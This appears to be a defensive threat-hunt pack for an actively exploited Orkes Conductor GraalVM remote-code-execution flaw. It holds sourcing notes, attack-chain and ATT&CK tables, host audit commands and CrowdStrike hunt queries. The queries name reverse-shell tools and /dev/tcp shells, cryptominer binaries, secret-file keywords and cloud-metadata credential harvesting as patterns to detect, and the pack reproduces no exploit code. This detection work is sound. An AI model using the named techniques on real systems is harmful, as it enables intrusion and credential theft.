Orkes Conductor — Unauthenticated GraalVM RCE (CVE-2026-58138)

Actively exploited critical (CVSS 9.8 / v4: 9.3) unauthenticated remote code execution in Orkes Conductor's workflow script evaluators. A single pre-auth POST containing a malicious JavaScript or Python expression escapes an unsandboxed GraalVM context and runs arbitrary OS commands as the Conductor process.
Threat
Orkes Conductor pre-auth GraalVM evaluator escape
Severity
CRITICAL · CVSS 9.8 (v3.1) / 9.3 (v4.0)
Type
Server-Side RCE / Post-Exploitation (C2, Persistence)
CVE
CVE-2026-58138 (CWE-94, Code Injection)
Affected
Conductor OSS 3.21.21 – < 3.30.2 (fixed 3.30.2)
CISA KEV
Not listed as of 2026-09-19 (see §2)
Version
v1.0 · 2026-09-19
Author
ai@hutzley.com
01

Executive Summary

CVE-2026-58138 (CVSS v3.1 9.8 / v4.0 9.3, CWE-94) is an unauthenticated remote code execution vulnerability in Orkes Conductor, the open-source (Netflix-originated, now Orkes-stewarded) workflow orchestration engine used to choreograge microservices, business processes, and — increasingly — AI agent pipelines. Conductor's INLINE, LAMBDA, DO_WHILE, and SWITCH task types evaluate user-supplied JavaScript or Python expressions inside a GraalVM script context. Versions 3.21.21 through 3.30.1 build that context with HostAccess.ALL (JavaScript) or allowAllAccess(true) (Python), which disables the sandbox entirely. Because the open-source Conductor server enforces no authentication by default, an unauthenticated remote attacker can submit a single HTTP POST registering a workflow definition with a hostile INLINE task, start it, and reflect out of the script engine into java.lang.Runtime/ProcessBuilder to execute arbitrary OS commands — with the privileges of the Conductor process, which in the default container image is frequently root.

The fix shipped quietly on 2026-06-03 in release 3.30.2 (described in the release notes only as "restricting GraalVM JavaScript further," with no CVE reference or security label); the CVE itself was not published until 2026-06-30, almost four weeks later. Public proof-of-concept exploit code targeting Conductor v3.23.0 was published as Exploit-DB entry EDB-52633 on 2026-08-09, and exploitation began shortly after: Previdian's honeypot telemetry recorded three exploitation attempts from two unique IP addresses (in France and the U.S.) starting 2026-07-24, and Empirical Security's sensor network observed in-the-wild exploitation recurring across multiple windows, most recently 2026-08-21. Fortinet's FortiGuard Labs, in a Threat Signal Report and Outbreak Alert issued 2026-09-09 and 2026-09-15, reported blocking 1,290 attack attempts in a single 24-hour period as of 2026-09-09 (a 132% day-over-day increase) and 6,696 attempts over the preceding seven days (up 17% week-over-week) — with the highest-volume attack activity originating from Germany, Hong Kong, Indonesia, the United Arab Emirates, and India. As of 2026-09-19, CVE-2026-58138 is not listed in the CISA KEV catalog, meaning organizations that gate patch urgency on KEV status alone would miss it entirely — see the callout in §2.

Huntability — read this first. Unlike an appliance-firmware CVE with zero EDR visibility, Conductor is ordinary JVM software running on a host or in a container that can carry a Falcon sensor. The pre-auth HTTP exploitation step and the in-JVM GraalVM script evaluation itself cross no process boundary and are therefore invisible to Falcon (they require web/application-log ingestion via Falcon Next-Gen SIEM to see directly) — but the moment the attacker's script reflects into Runtime/ProcessBuilder and spawns an actual OS process, every downstream step (child-process spawn, file write, outbound connection, persistence, resource hijacking) is ordinary, well-instrumented Falcon process/network telemetry provided the sensor covers the specific host or container Conductor runs in. That caveat matters: Conductor is frequently deployed in short-lived Kubernetes pods, and sensor coverage of ephemeral container workloads is commonly incomplete. See §5 and §15 for the full honesty accounting.
02

Source Review & Web Hunter Notes

TierSourceKey FindingCarry Forward
Tier 2The Hacker News — "Critical Pre-Auth RCE in Orkes Conductor Workflow Platform Exploited in the Wild" (Sep 19, 2026)Consolidated report: NVD description, Fortinet outbreak alert stats, Previdian honeypot data (3 attempts since Jul 24, France/US source IPs), Empirical Security exploitation date (Aug 21)Yes
Tier 1FortiGuard Labs — Outbreak Alert "Orkes Conductor Evaluator Remote Code Execution" (released Sep 15, 2026)Active attack-attempt telemetry, Exploit-DB EDB-52633 publication date (Aug 9, 2026), IPS/detection coverage, patch guidanceYes
Tier 1FortiGuard Labs — Threat Signal Report #6527 (Sep 9, 2026)Exact attempt counts (1,290/24h, 6,696/7d), source-country breakdown, detailed mitigation checklist, FortiEDR post-exploitation coverage descriptionYes
Tier 1NIST NVD — CVE-2026-58138 record (live REST API, services.nvd.nist.gov)Official CVSS v3.1/v4.0 vectors, CWE-94, affected version range (semver 3.21.21 – <3.30.2), published/modified dates, SSVC data, GitHub commit/release referencesYes
Tier 2Empirical Security — "September 2026 CVE of the Month: The 9.8 Nobody Knows They Are Running" (Sep 1, 2026)Deep technical writeup: exact GraalVM config (HostAccess.ALL, allowAllAccess(true)), 3.30.2 fix internals (blocks Runtime/ProcessBuilder/Process/System + reflection, disables host class loading/native access/thread+process creation/file+env access), exposure-discovery guidance (port 8080, "Conductor UI" title, /swagger-ui, conductoross/conductor images), native hunt guidance (watch for sh -c/cmd children), no-KEV-listing note, Empirical's own exploitation telemetryYes
Tier 2SecurityWeek — "Critical Orkes Conductor Vulnerability Exploited in Attacks" (Sep 18, 2026)Independent corroboration of Empirical/Fortinet findings, confirms exploitation "for at least a month" prior to report dateYes
Tier 2GitHub — 0xgh057r3c0n/CVE-2026-58138 public PoC repositoryConfirms INLINE-task/GraalVM eval mechanism and Runtime.exec() technique; sample tool output shows the exploited process runs as a dedicated conductor UID/GID (1000:1000) inside a Kubernetes-style pod (conductor-server-<hash>-<suffix> hostname pattern) in at least one deployment shape — not always root, contra the "often root" default-container framing in other sourcesPartial — technical mechanism only; no exploit code reproduced in this pack (see disclaimer below)
Tier 2DEV Community (Anoymask) — structured exploitation-activity brief citing Empirical Security (Sep 19, 2026)Independent restatement with an explicit observable-logs / hunt-angle breakdown (EDR: "child processes such as shells, Python, or curl spawned by the Java or Conductor process") that matches this pack's hunt designYes — corroborating, not primary
Tier 2Bellator Cyber Guard — "Orkes Conductor Flaw Under Active Attack, Patch Now" (Sep 19, 2026)MSP-oriented restatement; explicitly flags that attribution/scale/technical-exploitation-detail claims beyond vendor reporting are unconfirmedPartial — general audience framing only
— cross-checked, not carried —The Hacker News — "CISA Adds Seven Exploited Flaws as Attackers Deploy Reverse Shells and Crypto Miners" (Sep 3, 2026)Confirmed this article is about a different CVE (CVE-2026-49869, Kestra OSS command injection) — a different but structurally analogous unauthenticated-RCE-in-a-workflow-orchestration-platform case. It is cited in §7/§8 as a documented precedent for the post-exploitation pattern (reverse shell → container discovery → cryptominer), NOT as evidence that reverse shells or miners have been confirmed for CVE-2026-58138 specifically.Analogy only — explicitly labelled as such everywhere it is used
No CISA/vendor confirmation of reverse-shell or cryptominer payloads for THIS CVE. The task brief that seeded this pack's hunt angle referenced "the same campaign class CISA flagged as deploying reverse shells and crypto miners." That CISA-sourced reporting (The Hacker News, Sep 3, 2026) is real, but it describes CVE-2026-49869 (Kestra OSS), a different unauthenticated command-injection flaw in a different workflow-orchestration product — not CVE-2026-58138. No source snapshotted for this pack attributes a specific reverse-shell or cryptomining payload to Orkes Conductor exploitation. Reverse-shell (Q8) and cryptominer (Q9) hunt queries in §8 are shipped as generic, well-established post-exploitation behaviors for any unauthenticated-RCE foothold (and are explicitly precedented by the analogous Kestra case), not as confirmed TTPs of this specific campaign. This distinction is preserved throughout the pack. Exploit code encountered and deliberately not reproduced. The GitHub PoC repository (0xgh057r3c0n/CVE-2026-58138) contains a working unauthenticated-RCE exploit script and usage instructions. This pack cites the repository for its confirmation of the exploitation mechanism (INLINE-task GraalVM evalRuntime.exec()) and its illustrative sample output only. No exploit code, workflow-definition payload, or step-by-step reproduction instructions from that repository (or from FortiGuard's referenced Exploit-DB entry EDB-52633) are reproduced anywhere in this pack, per the defensive-content-only requirement.

Confidence assessment: High confidence in the vulnerability mechanism, affected version range, fix details, and active-exploitation timeline — independently corroborated across NVD (authoritative), two Fortinet publications, Empirical Security's own sensor telemetry, SecurityWeek, and a working public PoC. Medium confidence in exact scope (no public count of compromised/scanned Conductor instances was found, unlike some campaigns). No file hashes, C2 IP addresses, C2 domains, or malware family names were published in any reachable source for this specific campaign — none are shipped as atomic IOCs in this pack (see §4). Intel is perishable: this is an active, still-scanning campaign as of the most recent source publish date (2026-09-19), and FortiGuard's own trend data shows attack volume still increasing week-over-week.

03

Hunt Brief & Attack Chain

#StepDetailFalcon-Visible?Hunt Angle
1Exposure / discoveryAttacker (or defender) scans for internet-reachable Conductor Workflow API — default port 8080, UI page titled "Conductor UI," Swagger explorer at /swagger-ui.No — pre-auth network scan§7 native checks; §8 Q1/Q2 (defender-side inventory)
2Weaponized workflow registrationUnauthenticated HTTP POST to /api/metadata/workflow registers a workflow definition containing an INLINE/LAMBDA/DO_WHILE/SWITCH task with a malicious JavaScript or Python expression.No — HTTP layer, needs NG SIEM app-log ingestionNone (Falcon endpoint); §5 notes the gap
3Workflow execution / sandbox escapeConductor starts the workflow; the GraalVM context (HostAccess.ALL / allowAllAccess(true) on unpatched versions) evaluates the expression; the script reflects into java.lang.Runtime / ProcessBuilder.No — in-JVM, no process boundary crossed yetNone directly; Q3 is the downstream proxy
4OS command executionA shell or interpreter (sh, bash, curl, wget, python, node, powershell) spawns as a child of the Conductor JVM process, running as the Conductor service account (often root in default containers).Yes§8 Q3 (core detection, IOA candidate)
5Recon / credential harvestingSpawned process reads workflow-definition secrets or environment variables, and/or queries the cloud Instance Metadata Service (169.254.169.254) for cloud credentials.Yes§8 Q6 (IOA candidate), Q7
6C2 / tooling retrievalSpawned process fetches additional tooling (reverse shell, cryptominer, further payloads) over an outbound connection from the Conductor host.Yes§8 Q5, Q8 (IOA candidate), Q9
7PersistenceAttacker installs a cron entry or systemd unit to survive Conductor/container restarts.Partial — VM/host strong, ephemeral containers weak§8 Q10
8ImpactResource hijacking (cryptomining) on the compromised host, lateral movement using harvested credentials, or exfiltration of data/secrets reachable through Conductor's workflow connections.Partial — generic downstream signal§8 Q9; standard identity/lateral-movement hunting (out of scope for this pack)
04

Consolidated IOC Table

This is a server-side application vulnerability with no published campaign-specific network or file IOCs (no attacker C2 IPs, domains, or malware hashes were found in any snapshotted source). The table below lists the concrete, sourced technical fingerprints that ARE published — version ranges, ports, endpoint paths, and task-type identifiers — which drive the exposure-discovery and behavioral queries in §8.

TypeValueConfidenceActionContextSource
CVECVE-2026-58138HighPatchCVSS 9.8 (v3.1) / 9.3 (v4.0), CWE-94 (Code Injection)NVD
Affected version rangeconductor-oss/conductor 3.21.21 – < 3.30.2HighInventory / PatchSemver range from the official NVD affected-products recordNVD
Fixed version3.30.2 (released 2026-06-03; do not stop at 3.30.0/3.30.1, which shipped only a partial blocklist)HighPatchRestricts GraalVM further: blocks Runtime/ProcessBuilder/Process/System + reflection; disables host class loading, native access, thread/process creation, file/env accessEmpirical Security
Default portTCP 8080HighDiscover / Restrict exposureConductor Workflow API and UI default listenerEmpirical Security
Vulnerable API endpoints/api/metadata/workflow, /api/workflowHighRestrict / MonitorUnauthenticated-by-default workflow registration and execution endpointsEmpirical Security
Fingerprint (UI)Page title "Conductor UI"; Swagger explorer at /swagger-uiHighDiscoverRecommended Shodan/Censys query: http.title:"Conductor UI"Empirical Security
Fingerprint (container)conductoross/conductor image familyMediumDiscoverCheck container/orchestration inventory for this image or related Helm chartsEmpirical Security
Abused task typesINLINE, LAMBDA, DO_WHILE, SWITCHHighHunt (workflow-definition review)Task types that evaluate user-supplied script expressionsNVD, Empirical Security, GitHub PoC
Abused evaluator typesjavascript, graaljs, pythonHighHunt (workflow-definition review)GraalVM evaluator configuration values to flag when combined with reflection keywordsEmpirical Security
Exploit referenceExploit-DB EDB-52633HighReferencePublic weaponized PoC, published 2026-08-09, targets Conductor v3.23.0FortiGuard Outbreak Alert, Empirical Security
Attack-source geographyGermany, Hong Kong, Indonesia, U.A.E., India (highest volume); France, U.S. (Previdian honeypot, low volume)MediumContext only — not a blocklistAggregate scanning-source geography, not durable per-IP infrastructureFortiGuard Threat Signal #6527, The Hacker News (Previdian)
No hashes, C2 IPs, or C2 domains. No source snapshotted for this pack publishes a file hash, attacker-controlled IP address, or C2 domain tied to this campaign. None are fabricated or placeholder-shipped here. If genuine post-exploitation indicators (dropped-tool hashes, C2 infrastructure) are later published, add them to this table and to §10 before using them in a detection — do not invent a placeholder value.
05

Affected Surface & Telemetry Matrix

Platform / SurfaceRequired TelemetryPriorityGap Risk
Conductor host/container (Linux, JVM) — process & file telemetryProcessRollup2, ElfFileWritten, NewExecutableWrittenCriticalMedium — good if the Falcon sensor covers the specific host/pod; Conductor is frequently deployed in short-lived Kubernetes pods where DaemonSet/sidecar sensor coverage is commonly incomplete
Conductor host — network telemetryNetworkConnectIP4, NetworkListenIP4, DnsRequestHighLow — standard sensor coverage once the host/container is enrolled
Pre-auth HTTP layer (the Workflow API request itself)Application/access logs via Falcon Next-Gen SIEM (not a native Falcon endpoint event)HighHigh — not assumed present; this pack ships no CQL for this layer because it is not endpoint telemetry
Cloud Instance Metadata Service / credential providerNetworkConnectIP4 to 169.254.169.254HighLow-Medium — well covered by Q6, but only fires for the shelled-out (curl/wget) retrieval pattern, not the JVM's own in-process SDK credential calls
Kubernetes / container orchestration layerkubectl/pod-audit-log review (native, non-Falcon)MediumMedium — depends on whether Falcon Cloud Security / container-runtime sensor is deployed; not assumed present in this pack's CQL
Downstream Falcon-covered assets reached via harvested Conductor credentialsUserLogon, Identity Protection telemetryMediumMedium — standard credential-reuse hunting, out of this pack's primary scope; see the team's general lateral-movement query library
06

ATT&CK Mapping

TacticTechnique IDTechnique NameObserved / Expected BehaviorFalcon-Visible
Initial AccessT1190Exploit Public-Facing ApplicationUnauthenticated POST to the exposed Conductor Workflow APIGap — HTTP layer
ExecutionT1059.007 / T1059.006Command & Scripting Interpreter: JavaScript / PythonMalicious expression evaluated inside the GraalVM context of an INLINE/LAMBDA/DO_WHILE/SWITCH taskGap — in-JVM
ExecutionT1106Native APIJava reflection invoking java.lang.Runtime / ProcessBuilder from the script engineGap — in-JVM; Q3 is the downstream proxy
ExecutionT1059.004Command & Scripting Interpreter: Unix ShellSpawned sh/bash child process running the attacker's commandYes (Q3)
Credential AccessT1552.001Unsecured Credentials: Credentials In FilesReading secrets embedded in workflow definitions or environment variablesPartial (Q7)
Credential AccessT1552.005Unsecured Credentials: Cloud Instance Metadata APIShelled-out request to 169.254.169.254 for cloud IAM credentialsYes (Q6)
Command & ControlT1105Ingress Tool Transfercurl/wget retrieving second-stage toolingYes (Q3, Q5)
Command & ControlT1071.001Application Layer Protocol: Web ProtocolsOutbound connection from the Conductor process for C2/tool retrieval (generic; no named C2 infra published)Partial (Q5)
Command & ControlT1059 (adjacent)Interactive Reverse Shell (/dev/tcp technique)Generic post-exploitation pattern, precedented by the analogous Kestra/CISA case — not confirmed for this campaign specifically (see §2)Yes (Q8)
PersistenceT1053.003Scheduled Task/Job: CronCron entry installed by a Conductor/shell-descended processPartial (Q10) — weak on ephemeral containers
PersistenceT1543.002Create or Modify System Process: Systemd ServiceSystemd unit installed for restart-survival on VM/host deploymentsPartial (Q10)
ImpactT1496Resource HijackingCryptomining process spawned on the compromised host; generic pattern, not confirmed for this campaign specifically (see §2)Partial (Q9)
Privilege Escalation / Defense EvasionT1611Escape to HostPotential container-to-host escape given frequent root execution; no confirmed reporting of this occurring in this campaignGap — unconfirmed, not hunted directly in this pack
07

Native Audit-Log Hunts (Non-CQL, Host / Kubernetes)

Defensive discovery and audit commands to run against Conductor deployments you own or administer — these confirm exposure, version, and on-host compromise indicators that sit outside Falcon's endpoint telemetry (the exploitation HTTP request itself, and Conductor's own workflow-definition store).

! 1. Identify Conductor by process command line
ps -ef | grep -i conductor-server

! 2. Confirm the listening port and bind address
ss -ltnp | grep 8080

! 3. Fingerprint the deployed version from the container image tag or jar manifest
docker inspect <container_id> --format '{{.Config.Image}}'
unzip -p /app/libs/conductor-server-*.jar META-INF/MANIFEST.MF 2>/dev/null | grep -i Implementation-Version

! 4. Confirm whether the Workflow API answers without authentication
!    (run only against systems you own/administer -- this is a reachability
!     check, not an exploitation attempt)
curl -s -o /dev/null -w '%{http_code}\n' http://localhost:8080/api/metadata/workflow

! 5. Review registered workflow definitions for INLINE/LAMBDA/DO_WHILE/SWITCH
!    tasks whose evaluatorType is javascript/graaljs/python and whose expression
!    text references getClass, forName, Runtime, ProcessBuilder, or reflection
curl -s http://localhost:8080/api/metadata/workflow | grep -iE "INLINE|LAMBDA|DO_WHILE|SWITCH|evaluatorType"

! 6. Inspect crontab and systemd units for the Conductor service account
crontab -l -u conductor 2>/dev/null
systemctl list-units --type=service | grep -i conductor
find /etc/cron.d /etc/systemd/system -newer /var/log/conductor -type f 2>/dev/null

! 7. Kubernetes: enumerate Conductor workloads and image versions fleet-wide
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.containers[*].image}{"\n"}{end}' | grep -i conductor

! 8. Kubernetes: confirm the pod is not running as root / privileged
kubectl get pod <conductor-pod> -o jsonpath='{.spec.securityContext}{"\n"}{.spec.containers[*].securityContext}'
08

CrowdStrike LogScale CQL Hunt Queries

This is a server-side RCE with almost no published network IOCs — every query below hunts behavior: what the Conductor JVM does once an attacker's script reflects into a system call. Q1–Q2 are exposure/inventory queries (find Conductor, don't detect an attack). Q3, Q6, and Q8 are the highest-value detections; see §2 for why Q8/Q9 are labelled generic post-exploitation patterns rather than confirmed campaign TTPs.
Pick your tenant's cloud first, then use "Open in Falcon" on any card below.
Q1 — Exposure Discovery: Host Listening on Conductor's Default Port (8080)
CONF: MediumFP: MediumCOST: LowInvestigate-only
MITRE: T1190 (exposure discovery, defender-side)
Requires: NetworkListenIP4 on any Falcon-covered host/container
// HUNT: Fleet-Wide Inventory of Hosts Listening on Conductor's Default Port (8080)
// MITRE: T1190 (Exploit Public-Facing Application -- exposure-discovery angle)
// CONF: medium
// FP: medium
// COST: low
// REQUIRES: NetworkListenIP4 on any Falcon-covered host/container
// FALSE POSITIVES: any other service bound to 8080 (Tomcat, Jenkins, custom apps) -- this is an inventory query, not a detection; cross-reference hits with Q2's command-line signature to confirm it is actually Conductor.
// TUNING: once confirmed, maintain the resulting host list as your Conductor asset inventory and scope Q3/Q5/Q6/Q7/Q8/Q9/Q10 to it if you want lower-noise, host-scoped variants.

#event_simpleName=/^NetworkListenIP4$/
| LocalPort=8080
| table([@timestamp, aid, ComputerName, LocalAddressIP4, LocalPort, ContextBaseFileName])
| sort(@timestamp, order=desc)
Q2 — Exposure Discovery: Hosts Running a Conductor Server Process (Command-Line Signature)
CONF: HighFP: LowCOST: LowInvestigate-only
MITRE: T1190 (exposure discovery, defender-side)
Requires: ProcessRollup2 on any Falcon-covered host/container
// HUNT: Fleet-Wide Inventory of Hosts Running a Conductor Server Process
// MITRE: T1190 (exposure-discovery angle)
// CONF: high
// FP: low
// COST: low
// REQUIRES: ProcessRollup2 on any Falcon-covered host/container
// FALSE POSITIVES: none expected -- the conductor-server jar name is specific; a hit reliably confirms Conductor is present.
// TUNING: none needed. Cross-reference the CommandLine output against your patch-tracking system to identify which hosts are on the vulnerable 3.21.21-3.30.1 range vs 3.30.2+.

#event_simpleName=/^ProcessRollup2$/
| FileName=/^java$/i
| CommandLine="*conductor-server*"
| groupBy([ComputerName], function=([count(as=Hits), collect([CommandLine], limit=3)]), limit=500)
| sort(Hits, order=desc)
Q3 — Conductor JVM Spawning a Shell or Interpreter Child Process (Core Detection)
CONF: HighFP: MediumCOST: LowIOA Candidate
MITRE: T1059.004, T1106 (proxy), T1105
Requires: ProcessRollup2 on Falcon-covered hosts/containers running Conductor
// HUNT: Java (Conductor) Process Spawning a Shell or Interpreter Child -- the Downstream
//       Proxy for GraalVM Sandbox-Escape Execution (the escape itself is in-JVM and not
//       directly visible to Falcon; this is the first process-boundary crossing after it)
// MITRE: T1059.004 (Unix Shell), T1106 (Native API -- proxy), T1105 (Ingress Tool Transfer)
// CONF: high
// FP: medium
// COST: low
// REQUIRES: ProcessRollup2 on any Falcon-covered host/container running Conductor
// FALSE POSITIVES: a small number of legitimate Conductor SHELL-type system tasks or
//   custom subprocess-based task workers may spawn interpreters directly; healthy CI/CD
//   sidecars sharing the same host are also possible.
// TUNING: scope ParentCommandLine to hosts confirmed via Q2 to be running conductor-server;
//   if a specific Conductor deployment legitimately uses SHELL-type tasks, allowlist that
//   task worker's known command-line pattern rather than excluding the whole parent image.

#event_simpleName=/^ProcessRollup2$/
| ParentBaseFileName=/^java$/i
| FileName=in(["sh","bash","dash","ash","curl","wget","python","python3","node","perl","nc","ncat","socat","powershell","pwsh"])
| table([@timestamp, aid, ComputerName, ParentBaseFileName, FileName, CommandLine, UserName])
| sort(@timestamp, order=desc)
Q4 — File Writes Into Temp/Working Directories by a Java-Parented Process
CONF: MediumFP: HighCOST: MediumInvestigate-only
MITRE: T1105 (staged tooling)
Requires: ElfFileWritten / NewExecutableWritten on Falcon-covered hosts/containers
// HUNT: New Executable Written Into /tmp (or Similar Working Directory) by a
//       Java-Parented Process -- staged second-stage tooling after RCE
// MITRE: T1105 (Ingress Tool Transfer)
// CONF: medium
// FP: high
// COST: medium
// REQUIRES: ElfFileWritten / NewExecutableWritten on Falcon-covered hosts/containers
// FALSE POSITIVES: the JVM legitimately writes temporary jars, native library extracts,
//   and log/cache files under /tmp constantly during normal operation.
// TUNING: narrow to executable file types only (already done via event selection); cross-
//   reference hits against Q3 output in the same time window -- a temp-dir write that
//   follows a Q3 shell-spawn from the same aid within minutes is materially higher-confidence
//   than either signal alone.

#event_simpleName=/^(ElfFileWritten|NewExecutableWritten)$/
| ContextBaseFileName=/^java$/i
| TargetFileName="/tmp/*"
| table([@timestamp, aid, ComputerName, TargetFileName, ContextBaseFileName, UserName])
| sort(@timestamp, order=desc)
Q5 — Conductor Process Opening New Outbound Connections to Non-Private Addresses
CONF: MediumFP: HighCOST: MediumInvestigate-only
MITRE: T1071.001
Requires: NetworkConnectIP4 on Falcon-covered hosts/containers running Conductor
// HUNT: Outbound Connections From the Conductor Process to Public (Non-RFC1918) Addresses
// MITRE: T1071.001 (Application Layer Protocol: Web Protocols)
// CONF: medium
// FP: high
// COST: medium
// REQUIRES: NetworkConnectIP4 on Falcon-covered hosts/containers running Conductor
// FALSE POSITIVES: Conductor's entire job is to call external HTTP task endpoints, webhooks,
//   and SaaS integrations -- legitimate outbound egress is its normal operating behavior, so
//   this query is intentionally broad and high-FP by design.
// TUNING: build an allowlist of your environment's known legitimate Conductor task-integration
//   destinations (webhook targets, SaaS APIs) and exclude them; without that allowlist this
//   query is only useful as a triage aid alongside a Q3/Q4 hit, not as a standalone alert.

#event_simpleName=/^NetworkConnectIP4$/
| ContextBaseFileName=/^java$/i
| CommandLine="*conductor*"
| !cidr(RemoteAddressIP4, subnet=["10.0.0.0/8","172.16.0.0/12","192.168.0.0/16"])
| table([@timestamp, aid, ComputerName, UserName, RemoteAddressIP4, RemotePort, ContextBaseFileName])
| sort(@timestamp, order=desc)
Q6 — Curl/Wget Child Process Reaching the Cloud Instance Metadata Service (Credential Harvesting)
CONF: HighFP: LowCOST: LowIOA Candidate
MITRE: T1552.005
Requires: NetworkConnectIP4 on Falcon-covered hosts/containers (cloud-hosted)
// HUNT: External Process (curl/wget) Reaching 169.254.169.254 -- Cloud IMDS Credential Theft
// MITRE: T1552.005 (Unsecured Credentials: Cloud Instance Metadata API)
// CONF: high
// FP: low
// COST: low
// REQUIRES: NetworkConnectIP4 on Falcon-covered, cloud-hosted hosts/containers
// FALSE POSITIVES: rare -- legitimate cloud-SDK credential refresh happens IN-PROCESS inside
//   the JVM's own HTTP client and does not spawn curl/wget as a separate process, so this
//   query is scoped specifically to the higher-confidence shelled-out retrieval pattern an
//   attacker's spawned shell would use. A custom health-check or init script invoking curl
//   against the metadata service is the main expected false positive.
// TUNING: if your environment has a known legitimate script that curls the metadata service
//   (e.g. a cloud-init health check), exclude its specific ParentBaseFileName/CommandLine.
// NOTE: 169.254.169.254 is the standard, non-routable IANA link-local cloud-metadata address
//   used by AWS/Azure/GCP/OCI -- it is not attacker infrastructure and is not treated as a
//   provenance-tracked atomic indicator.

#event_simpleName=/^NetworkConnectIP4$/
| RemoteAddressIP4="169.254.169.254"
| ContextBaseFileName=in(["curl","wget"])
| table([@timestamp, aid, ComputerName, ParentBaseFileName, ContextBaseFileName, UserName])
| sort(@timestamp, order=desc)
Q7 — Java-Parented Process Reading Secret/Environment Data
CONF: MediumFP: HighCOST: LowInvestigate-only
MITRE: T1552.001
Requires: ProcessRollup2 on Falcon-covered hosts/containers running Conductor
// HUNT: Java-Parented Shell Reading Environment Variables or Secret-Named Files --
//       Credential/Secret Harvesting From Workflow Definitions or the Process Environment
// MITRE: T1552.001 (Unsecured Credentials: Credentials In Files)
// CONF: medium
// FP: high
// COST: low
// REQUIRES: ProcessRollup2 on Falcon-covered hosts/containers running Conductor
// FALSE POSITIVES: legitimate operational/debug commands ("env", "cat .env") run by admins
//   or CI/CD tooling on the same host are common and will outnumber true positives.
// TUNING: correlate with a Q3 shell-spawn from the same aid in the preceding few minutes;
//   treat an isolated hit with no accompanying Q3 activity as low priority.

#event_simpleName=/^ProcessRollup2$/
| ParentBaseFileName=/^java$/i
| FileName=/^(cat|env|printenv|grep|find)$/i
| CommandLine=/(secret|password|credential|token|apikey|\.env)/i
| table([@timestamp, aid, ComputerName, FileName, CommandLine, UserName])
| sort(@timestamp, order=desc)
Q8 — Interactive Reverse Shell via /dev/tcp Pseudo-Device (Environment-Wide, Bonus)
CONF: HighFP: LowCOST: LowIOA Candidate
MITRE: T1059 (adjacent, reverse shell)
Requires: ProcessRollup2 fleet-wide (not Conductor-specific)
// HUNT: Bash /dev/tcp Pseudo-Device Reverse Shell (Any Parent, Fleet-Wide)
// MITRE: T1059 (adjacent) -- classic post-RCE interactive reverse shell technique
// CONF: high
// FP: low
// COST: low
// REQUIRES: ProcessRollup2 on any Falcon-covered host (not scoped to Conductor)
// FALSE POSITIVES: rare -- legitimate scripts occasionally use /dev/tcp for lightweight
//   port-checks, but the pattern is uncommon enough that any hit warrants review.
// TUNING: none required for the base query. If a known internal tool legitimately uses this
//   syntax for health checks, allowlist its specific ComputerName/CommandLine pattern.
// NOTE: this is a GENERIC post-exploitation pattern, not a confirmed Orkes Conductor campaign
//   TTP -- it is precedented by the analogous, CISA-referenced Kestra OSS (CVE-2026-49869)
//   case (see Section 2), shipped here as defense-in-depth for ANY unauthenticated-RCE
//   foothold including this one.

#event_simpleName=/^ProcessRollup2$/
| CommandLine="*dev/tcp*"
| table([@timestamp, aid, ComputerName, ParentBaseFileName, FileName, CommandLine, UserName])
| sort(@timestamp, order=desc)
Q9 — Cryptomining Process Spawned From a Java/Shell Lineage
CONF: MediumFP: LowCOST: LowInvestigate-only
MITRE: T1496
Requires: ProcessRollup2 on Falcon-covered hosts/containers running Conductor
// HUNT: Known Cryptominer Binary Names Spawned From a Java/Shell/Curl/Wget Lineage
// MITRE: T1496 (Resource Hijacking)
// CONF: medium
// FP: low
// COST: low
// REQUIRES: ProcessRollup2 on Falcon-covered hosts/containers running Conductor
// FALSE POSITIVES: none expected under normal operation -- but attackers commonly rename
//   miner binaries, so this is a low-recall, high-precision opportunistic net-catch, not a
//   primary detection. Do not rely on this alone.
// TUNING: none needed; supplement with generic CPU/thermal anomaly monitoring outside CQL
//   scope for miners that use an unlisted binary name.
// NOTE: this is a GENERIC post-exploitation pattern, not a confirmed Orkes Conductor campaign
//   TTP -- see the Section 2 callout on the CISA/Kestra reverse-shell-and-miner precedent.

#event_simpleName=/^ProcessRollup2$/
| ParentBaseFileName=in(["java","sh","bash","curl","wget"])
| FileName=/^(xmrig|minerd|cpuminer|kinsing|xmr-stak|ccminer|t-rex|phoenixminer)$/i
| table([@timestamp, aid, ComputerName, ParentBaseFileName, FileName, CommandLine, UserName])
| sort(@timestamp, order=desc)
Q10 — Persistence: Cron/Systemd Modification From a Java/Shell Lineage
CONF: Med-HighFP: MediumCOST: LowInvestigate-only
MITRE: T1053.003, T1543.002
Requires: ProcessRollup2 on Falcon-covered hosts/containers running Conductor
// HUNT: Crontab/Systemd Modification Invoked From a Java or Shell Parent -- Post-RCE Persistence
// MITRE: T1053.003 (Scheduled Task/Job: Cron), T1543.002 (Systemd Service)
// CONF: medium-high
// FP: medium
// COST: low
// REQUIRES: ProcessRollup2 on Falcon-covered hosts/containers running Conductor
// FALSE POSITIVES: configuration-management tooling (Ansible, Chef, Puppet) legitimately runs
//   crontab/systemctl, but is very rarely parented directly by the Conductor JVM or one of its
//   shell children -- most legitimate CM tooling runs as its own top-level process.
// TUNING: exclude your known CM/orchestration tooling's process lineage if it is genuinely
//   parented by java for some reason in your environment; note this is much weaker signal on
//   ephemeral Kubernetes pods, which rarely persist cron/systemd changes across restarts.

#event_simpleName=/^ProcessRollup2$/
| ParentBaseFileName=in(["java","sh","bash"])
| FileName=/^(crontab|systemctl|systemd-run|at)$/i
| table([@timestamp, aid, ComputerName, ParentBaseFileName, FileName, CommandLine, UserName])
| sort(@timestamp, order=desc)
09

CrowdStrike Custom IOA Recommendations

Three queries are promotable to scheduled detections / Custom IOAs today; the remainder stay investigate-only pending environment-specific FP tuning (see badges in §8).

IOA Candidate 1 — Q3: Conductor JVM Spawning a Shell/Interpreter Child

FieldValue
Scheduled Search nameDETECT — Conductor JVM Spawns Shell/Interpreter (CVE-2026-58138)
DescriptionFires when a Java process (identified as the parent) spawns a shell, interpreter, or common attacker tool (sh, bash, python, curl, wget, node, nc, powershell). This is the first Falcon-visible step after a successful GraalVM sandbox escape.
Alert email subject[CRITICAL] Detection: Java Process Spawned a Shell/Interpreter — Possible Conductor RCE (CVE-2026-58138)
